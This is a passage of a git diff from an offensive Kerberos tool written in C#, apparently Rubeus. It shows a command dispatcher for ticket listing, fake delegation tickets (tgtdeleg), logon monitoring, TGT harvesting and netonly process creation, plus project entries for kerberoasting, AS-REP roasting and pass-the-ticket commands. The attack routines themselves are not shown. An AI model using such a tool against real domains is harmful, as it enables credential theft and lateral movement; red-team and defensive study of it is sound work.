else if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
LSA.ListKerberosTicketData(0, arguments["/service"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.ListKerberosTicketData();
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("tgtdeleg"))
|
||||
{
|
||||
if (arguments.ContainsKey("/target"))
|
||||
{
|
||||
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] blah = LSA.RequestFakeDelegTicket();
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("monitor"))
|
||||
{
|
||||
string targetUser = "";
|
||||
int interval = 60;
|
||||
if (arguments.ContainsKey("/filteruser"))
|
||||
{
|
||||
targetUser = arguments["/filteruser"];
|
||||
}
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
interval = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
Harvest.Monitor4624(interval, targetUser);
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("harvest"))
|
||||
{
|
||||
int intervalMinutes = 60;
|
||||
if (arguments.ContainsKey("/interval"))
|
||||
{
|
||||
intervalMinutes = Int32.Parse(arguments["/interval"]);
|
||||
}
|
||||
Harvest.HarvestTGTs(intervalMinutes);
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("describe"))
|
||||
{
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
LSA.DisplayTicket(kirbi);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
LSA.DisplayTicket(kirbi);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("createnetonly"))
|
||||
{
|
||||
|
||||
if (arguments.ContainsKey("/program"))
|
||||
{
|
||||
if (arguments.ContainsKey("/show"))
|
||||
{
|
||||
LSA.CreateProcessNetOnly(arguments["/program"], true);
|
||||
}
|
||||
else
|
||||
{
|
||||
LSA.CreateProcessNetOnly(arguments["/program"]);
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
Usage();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -47,6 +47,26 @@
|
|||
<Compile Include="Asn1\AsnException.cs" />
|
||||
<Compile Include="Asn1\AsnIO.cs" />
|
||||
<Compile Include="Asn1\AsnOID.cs" />
|
||||
<Compile Include="Commands\Asktgs.cs" />
|
||||
<Compile Include="Commands\Asktgt.cs" />
|
||||
<Compile Include="Commands\Asreproast.cs" />
|
||||
<Compile Include="Commands\Changepw.cs" />
|
||||
<Compile Include="Commands\Createnetonly.cs" />
|
||||
<Compile Include="Commands\Describe.cs" />
|
||||
<Compile Include="Commands\Dump.cs" />
|
||||
<Compile Include="Commands\HarvestCommand.cs" />
|
||||
<Compile Include="Commands\ICommand.cs" />
|
||||
<Compile Include="Commands\Kerberoast.cs" />
|
||||
<Compile Include="Commands\Monitor.cs" />
|
||||
<Compile Include="Commands\Ptt.cs" />
|
||||
<Compile Include="Commands\Purge.cs" />
|
||||
<Compile Include="Commands\RenewCommand.cs" />
|
||||
<Compile Include="Commands\S4u.cs" />
|
||||
<Compile Include="Commands\Tgtdeleg.cs" />
|
||||
<Compile Include="Domain\ArgumentParser.cs" />
|
||||
<Compile Include="Domain\ArgumentParserResult.cs" />
|
||||
<Compile Include="Domain\CommandCollection.cs" />
|
||||
<Compile Include="Domain\Info.cs" />
|
||||
<Compile Include="lib\Ask.cs" />
|
||||
<Compile Include="lib\Crypto.cs" />
|
||||
<Compile Include="lib\Harvest.cs" />
|
||||
|
|
Loading…
Reference in New Issue